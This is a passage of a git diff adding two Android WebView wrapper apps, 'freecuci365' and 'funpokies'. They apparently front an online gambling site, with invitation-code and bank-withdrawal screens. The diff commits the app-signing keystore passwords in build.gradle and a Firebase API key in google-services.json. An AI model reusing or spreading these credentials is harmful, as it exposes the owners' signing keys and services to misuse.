b/freecuci365/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/freecuci365/src/main/res/mipmap-hdpi/ic_pull_down.png b/freecuci365/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/freecuci365/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/freecuci365/src/main/res/mipmap-xhdpi/ic_close.png b/freecuci365/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/freecuci365/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/freecuci365/src/main/res/mipmap-xhdpi/ic_menu.png b/freecuci365/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/freecuci365/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/freecuci365/src/main/res/mipmap-xxhdpi/app_logo.png b/freecuci365/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1b840af Binary files /dev/null and b/freecuci365/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/freecuci365/src/main/res/values-en/strings.xml b/freecuci365/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/freecuci365/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/freecuci365/src/main/res/values-night/themes.xml b/freecuci365/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/freecuci365/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/values/colors.xml b/freecuci365/src/main/res/values/colors.xml new file mode 100644 index 0000000..eccda92 --- /dev/null +++ b/freecuci365/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #033ae5 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/freecuci365/src/main/res/values/strings.xml b/freecuci365/src/main/res/values/strings.xml new file mode 100644 index 0000000..9ef75d1 --- /dev/null +++ b/freecuci365/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Freecuci365 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/values/themes.xml b/freecuci365/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/freecuci365/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/xml/app_updater_paths.xml b/freecuci365/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/freecuci365/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/xml/network_security_config.xml b/freecuci365/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/freecuci365/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/freecuci365/src/main/res/xml/provider_paths.xml b/freecuci365/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/freecuci365/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/freecuci365/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/freecuci365/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/freecuci365/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/funpokies/.gitignore b/funpokies/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/funpokies/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/funpokies/build.gradle b/funpokies/build.gradle new file mode 100644 index 0000000..538b747 --- /dev/null +++ b/funpokies/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.funpokies" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "funpokies" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/funpokies/dskjweb.jks b/funpokies/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/funpokies/dskjweb.jks differ diff --git a/funpokies/google-services.json b/funpokies/google-services.json new file mode 100644 index 0000000..69750e9 --- /dev/null +++ b/funpokies/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "910116715688", + "project_id": "funpokies-f89e2", + "storage_bucket": "funpokies-f89e2.appspot.com" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:910116715688:android:05d7f1722feee1bac9969d", + "android_client_info": { + "package_name": "com.web.funpokies" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAKkOA8WfwgDAmaTYbCMAvG_3dJSaeJESQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/funpokies/ppn.jks b/funpokies/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/funpokies/ppn.jks differ diff --git a/funpokies/proguard-rules.pro b/funpokies/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/funpokies/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/funpokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/funpokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/funpokies/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/funpokies/src/main/AndroidManifest.xml b/funpokies/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f22214b --- /dev/null +++ b/funpokies/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/java/com/web/funpokies/MainActivity.java b/funpokies/src/main/java/com/web/funpokies/MainActivity.java new file mode 100644 index 0000000..59c40c4 --- /dev/null +++ b/funpokies/src/main/java/com/web/funpokies/MainActivity.java @@ -0,0 +1,50 @@ +package com.web.funpokies; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 45; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://funpokies.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#f76202"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/funpokies/src/main/java/com/web/funpokies/MyFirebaseMessageingService.java b/funpokies/src/main/java/com/web/funpokies/MyFirebaseMessageingService.java new file mode 100644 index 0000000..70a5dab --- /dev/null +++ b/funpokies/src/main/java/com/web/funpokies/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.funpokies; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/funpokies/src/main/java/com/web/funpokies/WebApplication.java b/funpokies/src/main/java/com/web/funpokies/WebApplication.java new file mode 100644 index 0000000..91bf3a9 --- /dev/null +++ b/funpokies/src/main/java/com/web/funpokies/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.funpokies; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/funpokies/src/main/res/drawable-anydpi/ic_action_back.xml b/funpokies/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/funpokies/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/funpokies/src/main/res/drawable-hdpi/ic_action_back.png b/funpokies/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/funpokies/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/funpokies/src/main/res/drawable-mdpi/ic_action_back.png b/funpokies/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/funpokies/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/funpokies/src/main/res/drawable-v24/ic_launcher_foreground.xml b/funpokies/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/funpokies/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable-xhdpi/ic_action_back.png b/funpokies/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/funpokies/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/funpokies/src/main/res/drawable-xxhdpi/ic_action_back.png b/funpokies/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/funpokies/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/funpokies/src/main/res/drawable/big_bg.xml b/funpokies/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..46464f8 --- /dev/null +++ b/funpokies/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable/ic_launcher_background.xml b/funpokies/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/funpokies/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/funpokies/src/main/res/drawable/input_bg.xml b/funpokies/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/funpokies/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/funpokies/src/main/res/drawable/pass_word_bg.xml b/funpokies/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/funpokies/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/funpokies/src/main/res/drawable/pass_word_bg1.xml b/funpokies/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/funpokies/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable/pass_word_bg2.xml b/funpokies/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/funpokies/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable/shape_btn_bg.xml b/funpokies/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/funpokies/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable/shape_dialog_bg2.xml b/funpokies/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/funpokies/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable/shape_dialog_bg3.xml b/funpokies/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/funpokies/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/drawable/shape_dialog_bg_new.xml b/funpokies/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/funpokies/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/funpokies/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/funpokies/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/funpokies/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/funpokies/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/mipmap-hdpi/ic_empty.png b/funpokies/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/funpokies/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/funpokies/src/main/res/mipmap-hdpi/ic_pull_down.png b/funpokies/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/funpokies/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/funpokies/src/main/res/mipmap-xhdpi/ic_close.png b/funpokies/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/funpokies/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/funpokies/src/main/res/mipmap-xhdpi/ic_menu.png b/funpokies/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/funpokies/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/funpokies/src/main/res/mipmap-xxhdpi/app_logo.jpg b/funpokies/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..04ca8e1 Binary files /dev/null and b/funpokies/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/funpokies/src/main/res/values-en/strings.xml b/funpokies/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/funpokies/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/funpokies/src/main/res/values-night/themes.xml b/funpokies/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/funpokies/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/values/colors.xml b/funpokies/src/main/res/values/colors.xml new file mode 100644 index 0000000..d4c1768 --- /dev/null +++ b/funpokies/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #f76202 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/funpokies/src/main/res/values/strings.xml b/funpokies/src/main/res/values/strings.xml new file mode 100644 index 0000000..9904404 --- /dev/null +++ b/funpokies/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + FUNPOKIES + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/values/themes.xml b/funpokies/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/funpokies/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/xml/app_updater_paths.xml b/funpokies/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/funpokies/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/xml/network_security_config.xml b/funpokies/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/funpokies/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/funpokies/src/main/res/xml/provider_paths.xml b/funpokies/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/funpokies/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file 